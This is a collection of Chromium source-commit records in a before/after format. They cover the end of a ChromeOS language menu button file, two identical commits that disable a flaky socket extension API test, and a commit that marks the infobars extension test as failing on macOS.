to half punctuation mode\" is clicked.\n      \/\/ We can always use \"Deactivate\" for command buttons.\n      LanguageLibrary::Get()->DeactivateImeProperty(key);\n    }\n    return;\n  }\n\n  \/\/ Separators are not clickable.\n  NOTREACHED();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ LanguageMenuButton, views::ViewMenuDelegate implementation:\n\nvoid LanguageMenuButton::RunMenu(views::View* source, const gfx::Point& pt) {\n  language_list_.reset(LanguageLibrary::Get()->GetActiveLanguages());\n  RebuildModel();\n  language_menu_.Rebuild();\n  language_menu_.UpdateStates();\n  language_menu_.RunMenuAt(pt, views::Menu2::ALIGN_TOPRIGHT);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ LanguageLibrary::Observer implementation:\n\nvoid LanguageMenuButton::LanguageChanged(LanguageLibrary* obj) {\n  const std::string name = FormatInputLanguage(obj->current_language(), false);\n  UpdateIcon(UTF8ToWide(name));\n\n  \/\/ This is necessary to remove IME properties when the current language is\n  \/\/ switched to XKB.\n  RebuildModel();\n}\n\nvoid LanguageMenuButton::ImePropertiesChanged(LanguageLibrary* obj) {\n  RebuildModel();\n}\n\nvoid LanguageMenuButton::UpdateIcon(const std::wstring& name) {\n  set_border(NULL);\n  SetFont(ResourceBundle::GetSharedInstance().GetFont(\n      ResourceBundle::BaseFont).DeriveFont(0, gfx::Font::BOLD));\n  SetEnabledColor(SK_ColorWHITE);\n  SetShowHighlighted(false);\n  SetText(name);\n  set_alignment(TextButton::ALIGN_RIGHT);\n  SchedulePaint();\n}\n\nvoid LanguageMenuButton::RebuildModel() {\n  model_.reset(new menus::SimpleMenuModel(NULL));\n  string16 dummy_label = UTF8ToUTF16(\"\");\n  \/\/ Indicates if separator's needed before each section.\n  bool need_separator = false;\n\n  if (!language_list_->empty()) {\n    \/\/ We \"abuse\" the command_id and group_id arguments of AddRadioItem method.\n    \/\/ A COMMAND_ID_XXX enum value is passed as command_id, and array index of\n    \/\/ |language_list_| or |property_list| is passed as group_id.\n    for (size_t i = 0; i < language_list_->size(); ++i) {\n      model_->AddRadioItem(COMMAND_ID_LANGUAGES, dummy_label, i);\n    }\n    need_separator = true;\n  }\n\n  const ImePropertyList& property_list\n      = LanguageLibrary::Get()->current_ime_properties();\n  const InputLanguage& current_language\n      = LanguageLibrary::Get()->current_language();\n  if ((!property_list.empty()) &&\n      (current_language.category == chromeos::LANGUAGE_CATEGORY_IME)) {\n    if (need_separator)\n      model_->AddSeparator();\n    for (size_t i = 0; i < property_list.size(); ++i) {\n      model_->AddRadioItem(COMMAND_ID_IME_PROPERTIES, dummy_label, i);\n    }\n    need_separator = true;\n  }\n\n  if (host_->ShouldOpenButtonOptions(this)) {\n    \/\/ Note: We use AddSeparator() for separators, and AddRadioItem() for all\n    \/\/ other items even if an item is not actually a radio item.\n    if (need_separator)\n      model_->AddSeparator();\n    model_->AddRadioItem(COMMAND_ID_CONFIGURE_IME, dummy_label, 0 \/* dummy *\/);\n  }\n}\n\nbool LanguageMenuButton::IndexIsInLanguageList(int index) const {\n  DCHECK_GE(index, 0);\n  DCHECK(model_.get());\n\n  return ((model_->GetTypeAt(index) == menus::MenuModel::TYPE_RADIO) &&\n          (model_->GetCommandIdAt(index) == COMMAND_ID_LANGUAGES));\n}\n\nbool LanguageMenuButton::GetPropertyIndex(\n    int index, int* property_index) const {\n  DCHECK_GE(index, 0);\n  DCHECK(property_index);\n  DCHECK(model_.get());\n\n  if ((model_->GetTypeAt(index) == menus::MenuModel::TYPE_RADIO) &&\n      (model_->GetCommandIdAt(index) == COMMAND_ID_IME_PROPERTIES)) {\n    *property_index = model_->GetGroupIdAt(index);\n    return true;\n  }\n  return false;\n}\n\nbool LanguageMenuButton::IndexPointsToConfigureImeMenuItem(int index) const {\n  DCHECK_GE(index, 0);\n  DCHECK(model_.get());\n\n  return ((model_->GetTypeAt(index) == menus::MenuModel::TYPE_RADIO) &&\n          (model_->GetCommandIdAt(index) == COMMAND_ID_CONFIGURE_IME));\n}\n\n\/\/ TODO(yusukes): Register and handle hotkeys for IME and XKB switching?\n\n}  \/\/ namespace chromeos\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/command_line.h\"\n#include \"base\/memory\/ref_counted.h\"\n#include \"base\/stringprintf.h\"\n#include \"chrome\/browser\/extensions\/api\/socket\/socket_api.h\"\n#include \"chrome\/browser\/extensions\/extension_apitest.h\"\n#include \"chrome\/browser\/extensions\/extension_function_test_utils.h\"\n#include \"chrome\/browser\/extensions\/extension_test_message_listener.h\"\n#include \"chrome\/browser\/ui\/browser.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/test\/base\/in_process_browser_test.h\"\n#include \"chrome\/test\/base\/ui_test_utils.h\"\n#include \"net\/test\/test_server.h\"\n\nusing namespace extension_function_test_utils;\n\nnamespace {\n\nconst std::string kHostname = \"127.0.0.1\";\nconst int kPort = 8888;\n\nclass SocketApiTest : public ExtensionApiTest {\n public:\n  virtual void SetUpCommandLine(CommandLine* command_line) {\n    ExtensionApiTest::SetUpCommandLine(command_line);\n    command_line->AppendSwitch(switches::kEnableExperimentalExtensionApis);\n    command_line->AppendSwitch(switches::kEnablePlatformApps);\n  }\n\n  static std::string GenerateCreateFunctionArgs(const std::string& protocol,\n                                                const std::string& address,\n                                                int port) {\n    return base::StringPrintf(\"[\\\"%s\\\", \\\"%s\\\", %d]\", protocol.c_str(),\n                              address.c_str(), port);\n  }\n};\n\n}\n\nIN_PROC_BROWSER_TEST_F(SocketApiTest, SocketUDPCreateGood) {\n  scoped_refptr<extensions::SocketCreateFunction> socket_create_function(\n      new extensions::SocketCreateFunction());\n  scoped_refptr<Extension> empty_extension(CreateEmptyExtension());\n\n  socket_create_function->set_extension(empty_extension.get());\n  socket_create_function->set_has_callback(true);\n\n  scoped_ptr<base::Value> result(RunFunctionAndReturnResult(\n      socket_create_function,\n      GenerateCreateFunctionArgs(\"udp\", kHostname, kPort),\n      browser(), NONE));\n  ASSERT_EQ(base::Value::TYPE_DICTIONARY, result->GetType());\n  DictionaryValue *value = static_cast<DictionaryValue*>(result.get());\n  int socketId = -1;\n  EXPECT_TRUE(value->GetInteger(\"socketId\", &socketId));\n  EXPECT_TRUE(socketId > 0);\n}\n\nIN_PROC_BROWSER_TEST_F(SocketApiTest, SocketTCPCreateGood) {\n  scoped_refptr<extensions::SocketCreateFunction> socket_create_function(\n      new extensions::SocketCreateFunction());\n  scoped_refptr<Extension> empty_extension(CreateEmptyExtension());\n\n  socket_create_function->set_extension(empty_extension.get());\n  socket_create_function->set_has_callback(true);\n\n  scoped_ptr<base::Value> result(RunFunctionAndReturnResult(\n      socket_create_function,\n      GenerateCreateFunctionArgs(\"udp\", kHostname, kPort),\n      browser(), NONE));\n  ASSERT_EQ(base::Value::TYPE_DICTIONARY, result->GetType());\n  DictionaryValue *value = static_cast<DictionaryValue*>(result.get());\n  int socketId = -1;\n  EXPECT_TRUE(value->GetInteger(\"socketId\", &socketId));\n  ASSERT_TRUE(socketId > 0);\n}\n\nIN_PROC_BROWSER_TEST_F(SocketApiTest, SocketCreateBad) {\n  scoped_refptr<extensions::SocketCreateFunction> socket_create_function(\n      new extensions::SocketCreateFunction());\n  scoped_refptr<Extension> empty_extension(CreateEmptyExtension());\n\n  socket_create_function->set_extension(empty_extension.get());\n  socket_create_function->set_has_callback(true);\n\n  \/\/ TODO(miket): this test currently passes only because of artificial code\n  \/\/ that doesn't run in production. Fix this when we're able to.\n  RunFunctionAndReturnError(\n      socket_create_function,\n      GenerateCreateFunctionArgs(\"xxxx\", kHostname, kPort),\n      browser(), NONE);\n}\n\n\/\/ http:\/\/crbug.com\/111572\nIN_PROC_BROWSER_TEST_F(SocketApiTest, FLAKY_SocketUDPExtension) {\n  scoped_ptr<net::TestServer> test_server(\n      new net::TestServer(net::TestServer::TYPE_UDP_ECHO,\n                          FilePath(FILE_PATH_LITERAL(\"net\/data\"))));\n  EXPECT_TRUE(test_server->Start());\n\n  net::HostPortPair host_port_pair = test_server->host_port_pair();\n  int port = host_port_pair.port();\n  ASSERT_TRUE(port > 0);\n\n  ResultCatcher catcher;\n  catcher.RestrictToProfile(browser()->profile());\n\n  ExtensionTestMessageListener listener(\"info_please\", true);\n\n  ASSERT_TRUE(LoadExtension(test_data_dir_.AppendASCII(\"socket\/api\")));\n  EXPECT_TRUE(listener.WaitUntilSatisfied());\n  listener.Reply(\n      base::StringPrintf(\"udp:%s:%d\", host_port_pair.host().c_str(), port));\n\n  EXPECT_TRUE(catcher.GetNextResult()) << catcher.message();\n}\n\n\/\/ http:\/\/crbug.com\/111572\nIN_PROC_BROWSER_TEST_F(SocketApiTest, FLAKY_SocketTCPExtension) {\n  scoped_ptr<net::TestServer> test_server(\n      new net::TestServer(net::TestServer::TYPE_TCP_ECHO,\n                          FilePath(FILE_PATH_LITERAL(\"net\/data\"))));\n  EXPECT_TRUE(test_server->Start());\n\n  net::HostPortPair host_port_pair = test_server->host_port_pair();\n  int port = host_port_pair.port();\n  ASSERT_TRUE(port > 0);\n\n  ResultCatcher catcher;\n  catcher.RestrictToProfile(browser()->profile());\n\n  ExtensionTestMessageListener listener(\"info_please\", true);\n\n  ASSERT_TRUE(LoadExtension(test_data_dir_.AppendASCII(\"socket\/api\")));\n  EXPECT_TRUE(listener.WaitUntilSatisfied());\n  listener.Reply(\n      base::StringPrintf(\"tcp:%s:%d\", host_port_pair.host().c_str(), port));\n\n  EXPECT_TRUE(catcher.GetNextResult()) << catcher.message();\n}\n<commit_msg>Disable SocketApiTest.SocketTCPExtension. Timing out on Win and Mac.<commit_after>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/command_line.h\"\n#include \"base\/memory\/ref_counted.h\"\n#include \"base\/stringprintf.h\"\n#include \"chrome\/browser\/extensions\/api\/socket\/socket_api.h\"\n#include \"chrome\/browser\/extensions\/extension_apitest.h\"\n#include \"chrome\/browser\/extensions\/extension_function_test_utils.h\"\n#include \"chrome\/browser\/extensions\/extension_test_message_listener.h\"\n#include \"chrome\/browser\/ui\/browser.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/test\/base\/in_process_browser_test.h\"\n#include \"chrome\/test\/base\/ui_test_utils.h\"\n#include \"net\/test\/test_server.h\"\n\nusing namespace extension_function_test_utils;\n\nnamespace {\n\nconst std::string kHostname = \"127.0.0.1\";\nconst int kPort = 8888;\n\nclass SocketApiTest : public ExtensionApiTest {\n public:\n  virtual void SetUpCommandLine(CommandLine* command_line) {\n    ExtensionApiTest::SetUpCommandLine(command_line);\n    command_line->AppendSwitch(switches::kEnableExperimentalExtensionApis);\n    command_line->AppendSwitch(switches::kEnablePlatformApps);\n  }\n\n  static std::string GenerateCreateFunctionArgs(const std::string& protocol,\n                                                const std::string& address,\n                                                int port) {\n    return base::StringPrintf(\"[\\\"%s\\\", \\\"%s\\\", %d]\", protocol.c_str(),\n                              address.c_str(), port);\n  }\n};\n\n}\n\nIN_PROC_BROWSER_TEST_F(SocketApiTest, SocketUDPCreateGood) {\n  scoped_refptr<extensions::SocketCreateFunction> socket_create_function(\n      new extensions::SocketCreateFunction());\n  scoped_refptr<Extension> empty_extension(CreateEmptyExtension());\n\n  socket_create_function->set_extension(empty_extension.get());\n  socket_create_function->set_has_callback(true);\n\n  scoped_ptr<base::Value> result(RunFunctionAndReturnResult(\n      socket_create_function,\n      GenerateCreateFunctionArgs(\"udp\", kHostname, kPort),\n      browser(), NONE));\n  ASSERT_EQ(base::Value::TYPE_DICTIONARY, result->GetType());\n  DictionaryValue *value = static_cast<DictionaryValue*>(result.get());\n  int socketId = -1;\n  EXPECT_TRUE(value->GetInteger(\"socketId\", &socketId));\n  EXPECT_TRUE(socketId > 0);\n}\n\nIN_PROC_BROWSER_TEST_F(SocketApiTest, SocketTCPCreateGood) {\n  scoped_refptr<extensions::SocketCreateFunction> socket_create_function(\n      new extensions::SocketCreateFunction());\n  scoped_refptr<Extension> empty_extension(CreateEmptyExtension());\n\n  socket_create_function->set_extension(empty_extension.get());\n  socket_create_function->set_has_callback(true);\n\n  scoped_ptr<base::Value> result(RunFunctionAndReturnResult(\n      socket_create_function,\n      GenerateCreateFunctionArgs(\"udp\", kHostname, kPort),\n      browser(), NONE));\n  ASSERT_EQ(base::Value::TYPE_DICTIONARY, result->GetType());\n  DictionaryValue *value = static_cast<DictionaryValue*>(result.get());\n  int socketId = -1;\n  EXPECT_TRUE(value->GetInteger(\"socketId\", &socketId));\n  ASSERT_TRUE(socketId > 0);\n}\n\nIN_PROC_BROWSER_TEST_F(SocketApiTest, SocketCreateBad) {\n  scoped_refptr<extensions::SocketCreateFunction> socket_create_function(\n      new extensions::SocketCreateFunction());\n  scoped_refptr<Extension> empty_extension(CreateEmptyExtension());\n\n  socket_create_function->set_extension(empty_extension.get());\n  socket_create_function->set_has_callback(true);\n\n  \/\/ TODO(miket): this test currently passes only because of artificial code\n  \/\/ that doesn't run in production. Fix this when we're able to.\n  RunFunctionAndReturnError(\n      socket_create_function,\n      GenerateCreateFunctionArgs(\"xxxx\", kHostname, kPort),\n      browser(), NONE);\n}\n\n\/\/ http:\/\/crbug.com\/111572\nIN_PROC_BROWSER_TEST_F(SocketApiTest, FLAKY_SocketUDPExtension) {\n  scoped_ptr<net::TestServer> test_server(\n      new net::TestServer(net::TestServer::TYPE_UDP_ECHO,\n                          FilePath(FILE_PATH_LITERAL(\"net\/data\"))));\n  EXPECT_TRUE(test_server->Start());\n\n  net::HostPortPair host_port_pair = test_server->host_port_pair();\n  int port = host_port_pair.port();\n  ASSERT_TRUE(port > 0);\n\n  ResultCatcher catcher;\n  catcher.RestrictToProfile(browser()->profile());\n\n  ExtensionTestMessageListener listener(\"info_please\", true);\n\n  ASSERT_TRUE(LoadExtension(test_data_dir_.AppendASCII(\"socket\/api\")));\n  EXPECT_TRUE(listener.WaitUntilSatisfied());\n  listener.Reply(\n      base::StringPrintf(\"udp:%s:%d\", host_port_pair.host().c_str(), port));\n\n  EXPECT_TRUE(catcher.GetNextResult()) << catcher.message();\n}\n\n\/\/ http:\/\/crbug.com\/111572\nIN_PROC_BROWSER_TEST_F(SocketApiTest, DISABLED_SocketTCPExtension) {\n  scoped_ptr<net::TestServer> test_server(\n      new net::TestServer(net::TestServer::TYPE_TCP_ECHO,\n                          FilePath(FILE_PATH_LITERAL(\"net\/data\"))));\n  EXPECT_TRUE(test_server->Start());\n\n  net::HostPortPair host_port_pair = test_server->host_port_pair();\n  int port = host_port_pair.port();\n  ASSERT_TRUE(port > 0);\n\n  ResultCatcher catcher;\n  catcher.RestrictToProfile(browser()->profile());\n\n  ExtensionTestMessageListener listener(\"info_please\", true);\n\n  ASSERT_TRUE(LoadExtension(test_data_dir_.AppendASCII(\"socket\/api\")));\n  EXPECT_TRUE(listener.WaitUntilSatisfied());\n  listener.Reply(\n      base::StringPrintf(\"tcp:%s:%d\", host_port_pair.host().c_str(), port));\n\n  EXPECT_TRUE(catcher.GetNextResult()) << catcher.message();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/command_line.h\"\n#include \"base\/memory\/ref_counted.h\"\n#include \"base\/stringprintf.h\"\n#include \"chrome\/browser\/extensions\/api\/socket\/socket_api.h\"\n#include \"chrome\/browser\/extensions\/extension_apitest.h\"\n#include \"chrome\/browser\/extensions\/extension_function_test_utils.h\"\n#include \"chrome\/browser\/extensions\/extension_test_message_listener.h\"\n#include \"chrome\/browser\/ui\/browser.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/test\/base\/in_process_browser_test.h\"\n#include \"chrome\/test\/base\/ui_test_utils.h\"\n#include \"net\/test\/test_server.h\"\n\nusing namespace extension_function_test_utils;\n\nnamespace {\n\nconst std::string kHostname = \"127.0.0.1\";\nconst int kPort = 8888;\n\nclass SocketApiTest : public ExtensionApiTest {\n public:\n  virtual void SetUpCommandLine(CommandLine* command_line) {\n    ExtensionApiTest::SetUpCommandLine(command_line);\n    command_line->AppendSwitch(switches::kEnableExperimentalExtensionApis);\n    command_line->AppendSwitch(switches::kEnablePlatformApps);\n  }\n\n  static std::string GenerateCreateFunctionArgs(const std::string& protocol,\n                                                const std::string& address,\n                                                int port) {\n    return base::StringPrintf(\"[\\\"%s\\\", \\\"%s\\\", %d]\", protocol.c_str(),\n                              address.c_str(), port);\n  }\n};\n\n}\n\nIN_PROC_BROWSER_TEST_F(SocketApiTest, SocketUDPCreateGood) {\n  scoped_refptr<extensions::SocketCreateFunction> socket_create_function(\n      new extensions::SocketCreateFunction());\n  scoped_refptr<Extension> empty_extension(CreateEmptyExtension());\n\n  socket_create_function->set_extension(empty_extension.get());\n  socket_create_function->set_has_callback(true);\n\n  scoped_ptr<base::Value> result(RunFunctionAndReturnResult(\n      socket_create_function,\n      GenerateCreateFunctionArgs(\"udp\", kHostname, kPort),\n      browser(), NONE));\n  ASSERT_EQ(base::Value::TYPE_DICTIONARY, result->GetType());\n  DictionaryValue *value = static_cast<DictionaryValue*>(result.get());\n  int socketId = -1;\n  EXPECT_TRUE(value->GetInteger(\"socketId\", &socketId));\n  EXPECT_TRUE(socketId > 0);\n}\n\nIN_PROC_BROWSER_TEST_F(SocketApiTest, SocketTCPCreateGood) {\n  scoped_refptr<extensions::SocketCreateFunction> socket_create_function(\n      new extensions::SocketCreateFunction());\n  scoped_refptr<Extension> empty_extension(CreateEmptyExtension());\n\n  socket_create_function->set_extension(empty_extension.get());\n  socket_create_function->set_has_callback(true);\n\n  scoped_ptr<base::Value> result(RunFunctionAndReturnResult(\n      socket_create_function,\n      GenerateCreateFunctionArgs(\"udp\", kHostname, kPort),\n      browser(), NONE));\n  ASSERT_EQ(base::Value::TYPE_DICTIONARY, result->GetType());\n  DictionaryValue *value = static_cast<DictionaryValue*>(result.get());\n  int socketId = -1;\n  EXPECT_TRUE(value->GetInteger(\"socketId\", &socketId));\n  ASSERT_TRUE(socketId > 0);\n}\n\nIN_PROC_BROWSER_TEST_F(SocketApiTest, SocketCreateBad) {\n  scoped_refptr<extensions::SocketCreateFunction> socket_create_function(\n      new extensions::SocketCreateFunction());\n  scoped_refptr<Extension> empty_extension(CreateEmptyExtension());\n\n  socket_create_function->set_extension(empty_extension.get());\n  socket_create_function->set_has_callback(true);\n\n  \/\/ TODO(miket): this test currently passes only because of artificial code\n  \/\/ that doesn't run in production. Fix this when we're able to.\n  RunFunctionAndReturnError(\n      socket_create_function,\n      GenerateCreateFunctionArgs(\"xxxx\", kHostname, kPort),\n      browser(), NONE);\n}\n\n\/\/ http:\/\/crbug.com\/111572\nIN_PROC_BROWSER_TEST_F(SocketApiTest, FLAKY_SocketUDPExtension) {\n  scoped_ptr<net::TestServer> test_server(\n      new net::TestServer(net::TestServer::TYPE_UDP_ECHO,\n                          FilePath(FILE_PATH_LITERAL(\"net\/data\"))));\n  EXPECT_TRUE(test_server->Start());\n\n  net::HostPortPair host_port_pair = test_server->host_port_pair();\n  int port = host_port_pair.port();\n  ASSERT_TRUE(port > 0);\n\n  ResultCatcher catcher;\n  catcher.RestrictToProfile(browser()->profile());\n\n  ExtensionTestMessageListener listener(\"info_please\", true);\n\n  ASSERT_TRUE(LoadExtension(test_data_dir_.AppendASCII(\"socket\/api\")));\n  EXPECT_TRUE(listener.WaitUntilSatisfied());\n  listener.Reply(\n      base::StringPrintf(\"udp:%s:%d\", host_port_pair.host().c_str(), port));\n\n  EXPECT_TRUE(catcher.GetNextResult()) << catcher.message();\n}\n\n\/\/ http:\/\/crbug.com\/111572\nIN_PROC_BROWSER_TEST_F(SocketApiTest, FLAKY_SocketTCPExtension) {\n  scoped_ptr<net::TestServer> test_server(\n      new net::TestServer(net::TestServer::TYPE_TCP_ECHO,\n                          FilePath(FILE_PATH_LITERAL(\"net\/data\"))));\n  EXPECT_TRUE(test_server->Start());\n\n  net::HostPortPair host_port_pair = test_server->host_port_pair();\n  int port = host_port_pair.port();\n  ASSERT_TRUE(port > 0);\n\n  ResultCatcher catcher;\n  catcher.RestrictToProfile(browser()->profile());\n\n  ExtensionTestMessageListener listener(\"info_please\", true);\n\n  ASSERT_TRUE(LoadExtension(test_data_dir_.AppendASCII(\"socket\/api\")));\n  EXPECT_TRUE(listener.WaitUntilSatisfied());\n  listener.Reply(\n      base::StringPrintf(\"tcp:%s:%d\", host_port_pair.host().c_str(), port));\n\n  EXPECT_TRUE(catcher.GetNextResult()) << catcher.message();\n}\n<commit_msg>Disable SocketApiTest.SocketTCPExtension. Timing out on Win and Mac.<commit_after>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/command_line.h\"\n#include \"base\/memory\/ref_counted.h\"\n#include \"base\/stringprintf.h\"\n#include \"chrome\/browser\/extensions\/api\/socket\/socket_api.h\"\n#include \"chrome\/browser\/extensions\/extension_apitest.h\"\n#include \"chrome\/browser\/extensions\/extension_function_test_utils.h\"\n#include \"chrome\/browser\/extensions\/extension_test_message_listener.h\"\n#include \"chrome\/browser\/ui\/browser.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/test\/base\/in_process_browser_test.h\"\n#include \"chrome\/test\/base\/ui_test_utils.h\"\n#include \"net\/test\/test_server.h\"\n\nusing namespace extension_function_test_utils;\n\nnamespace {\n\nconst std::string kHostname = \"127.0.0.1\";\nconst int kPort = 8888;\n\nclass SocketApiTest : public ExtensionApiTest {\n public:\n  virtual void SetUpCommandLine(CommandLine* command_line) {\n    ExtensionApiTest::SetUpCommandLine(command_line);\n    command_line->AppendSwitch(switches::kEnableExperimentalExtensionApis);\n    command_line->AppendSwitch(switches::kEnablePlatformApps);\n  }\n\n  static std::string GenerateCreateFunctionArgs(const std::string& protocol,\n                                                const std::string& address,\n                                                int port) {\n    return base::StringPrintf(\"[\\\"%s\\\", \\\"%s\\\", %d]\", protocol.c_str(),\n                              address.c_str(), port);\n  }\n};\n\n}\n\nIN_PROC_BROWSER_TEST_F(SocketApiTest, SocketUDPCreateGood) {\n  scoped_refptr<extensions::SocketCreateFunction> socket_create_function(\n      new extensions::SocketCreateFunction());\n  scoped_refptr<Extension> empty_extension(CreateEmptyExtension());\n\n  socket_create_function->set_extension(empty_extension.get());\n  socket_create_function->set_has_callback(true);\n\n  scoped_ptr<base::Value> result(RunFunctionAndReturnResult(\n      socket_create_function,\n      GenerateCreateFunctionArgs(\"udp\", kHostname, kPort),\n      browser(), NONE));\n  ASSERT_EQ(base::Value::TYPE_DICTIONARY, result->GetType());\n  DictionaryValue *value = static_cast<DictionaryValue*>(result.get());\n  int socketId = -1;\n  EXPECT_TRUE(value->GetInteger(\"socketId\", &socketId));\n  EXPECT_TRUE(socketId > 0);\n}\n\nIN_PROC_BROWSER_TEST_F(SocketApiTest, SocketTCPCreateGood) {\n  scoped_refptr<extensions::SocketCreateFunction> socket_create_function(\n      new extensions::SocketCreateFunction());\n  scoped_refptr<Extension> empty_extension(CreateEmptyExtension());\n\n  socket_create_function->set_extension(empty_extension.get());\n  socket_create_function->set_has_callback(true);\n\n  scoped_ptr<base::Value> result(RunFunctionAndReturnResult(\n      socket_create_function,\n      GenerateCreateFunctionArgs(\"udp\", kHostname, kPort),\n      browser(), NONE));\n  ASSERT_EQ(base::Value::TYPE_DICTIONARY, result->GetType());\n  DictionaryValue *value = static_cast<DictionaryValue*>(result.get());\n  int socketId = -1;\n  EXPECT_TRUE(value->GetInteger(\"socketId\", &socketId));\n  ASSERT_TRUE(socketId > 0);\n}\n\nIN_PROC_BROWSER_TEST_F(SocketApiTest, SocketCreateBad) {\n  scoped_refptr<extensions::SocketCreateFunction> socket_create_function(\n      new extensions::SocketCreateFunction());\n  scoped_refptr<Extension> empty_extension(CreateEmptyExtension());\n\n  socket_create_function->set_extension(empty_extension.get());\n  socket_create_function->set_has_callback(true);\n\n  \/\/ TODO(miket): this test currently passes only because of artificial code\n  \/\/ that doesn't run in production. Fix this when we're able to.\n  RunFunctionAndReturnError(\n      socket_create_function,\n      GenerateCreateFunctionArgs(\"xxxx\", kHostname, kPort),\n      browser(), NONE);\n}\n\n\/\/ http:\/\/crbug.com\/111572\nIN_PROC_BROWSER_TEST_F(SocketApiTest, FLAKY_SocketUDPExtension) {\n  scoped_ptr<net::TestServer> test_server(\n      new net::TestServer(net::TestServer::TYPE_UDP_ECHO,\n                          FilePath(FILE_PATH_LITERAL(\"net\/data\"))));\n  EXPECT_TRUE(test_server->Start());\n\n  net::HostPortPair host_port_pair = test_server->host_port_pair();\n  int port = host_port_pair.port();\n  ASSERT_TRUE(port > 0);\n\n  ResultCatcher catcher;\n  catcher.RestrictToProfile(browser()->profile());\n\n  ExtensionTestMessageListener listener(\"info_please\", true);\n\n  ASSERT_TRUE(LoadExtension(test_data_dir_.AppendASCII(\"socket\/api\")));\n  EXPECT_TRUE(listener.WaitUntilSatisfied());\n  listener.Reply(\n      base::StringPrintf(\"udp:%s:%d\", host_port_pair.host().c_str(), port));\n\n  EXPECT_TRUE(catcher.GetNextResult()) << catcher.message();\n}\n\n\/\/ http:\/\/crbug.com\/111572\nIN_PROC_BROWSER_TEST_F(SocketApiTest, DISABLED_SocketTCPExtension) {\n  scoped_ptr<net::TestServer> test_server(\n      new net::TestServer(net::TestServer::TYPE_TCP_ECHO,\n                          FilePath(FILE_PATH_LITERAL(\"net\/data\"))));\n  EXPECT_TRUE(test_server->Start());\n\n  net::HostPortPair host_port_pair = test_server->host_port_pair();\n  int port = host_port_pair.port();\n  ASSERT_TRUE(port > 0);\n\n  ResultCatcher catcher;\n  catcher.RestrictToProfile(browser()->profile());\n\n  ExtensionTestMessageListener listener(\"info_please\", true);\n\n  ASSERT_TRUE(LoadExtension(test_data_dir_.AppendASCII(\"socket\/api\")));\n  EXPECT_TRUE(listener.WaitUntilSatisfied());\n  listener.Reply(\n      base::StringPrintf(\"tcp:%s:%d\", host_port_pair.host().c_str(), port));\n\n  EXPECT_TRUE(catcher.GetNextResult()) << catcher.message();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/command_line.h\"\n#include \"chrome\/browser\/extensions\/extension_apitest.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n\n#if defined(TOOLKIT_VIEWS) || defined(OS_MACOSX)\n#define MAYBE_Infobars Infobars\n#else\n\/\/ Need to finish port to Linux. See http:\/\/crbug.com\/39916 for details.\n#define MAYBE_Infobars DISABLED_Infobars\n#endif\n\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, MAYBE_Infobars) {\n  \/\/ TODO(finnur): Remove once infobars are no longer experimental (bug 39511).\n  CommandLine::ForCurrentProcess()->AppendSwitch(\n      switches::kEnableExperimentalExtensionApis);\n\n  ASSERT_TRUE(RunExtensionTest(\"infobars\")) << message_;\n}\n<commit_msg>Marking ExtensionApiTest.Infobars as FAILS on MACOSX due to recent buildbot test failures. BUG=60990 TBR=vangelis@chromium.org TEST=bots Review URL: http:\/\/codereview.chromium.org\/4152008<commit_after>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/command_line.h\"\n#include \"chrome\/browser\/extensions\/extension_apitest.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n\n#if defined(TOOLKIT_VIEWS)\n#define MAYBE_Infobars Infobars\n#elif defined(OS_MACOSX)\n\/\/ Temporarily marked as FAILS on OSX. See http:\/\/crbug.com\/60990 for details.\n#define MAYBE_Infobars FAILS_Infobars\n#else\n\/\/ Need to finish port to Linux. See http:\/\/crbug.com\/39916 for details.\n#define MAYBE_Infobars DISABLED_Infobars\n#endif\n\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, MAYBE_Infobars) {\n  \/\/ TODO(finnur): Remove once infobars are no longer experimental (bug 39511).\n  CommandLine::ForCurrentProcess()->AppendSwitch(\n      switches::kEnableExperimentalExtensionApis);\n\n  ASSERT_TRUE(RunExtensionTest(\"infobars\")) << message_;\n}\n<|endoftext|>"}
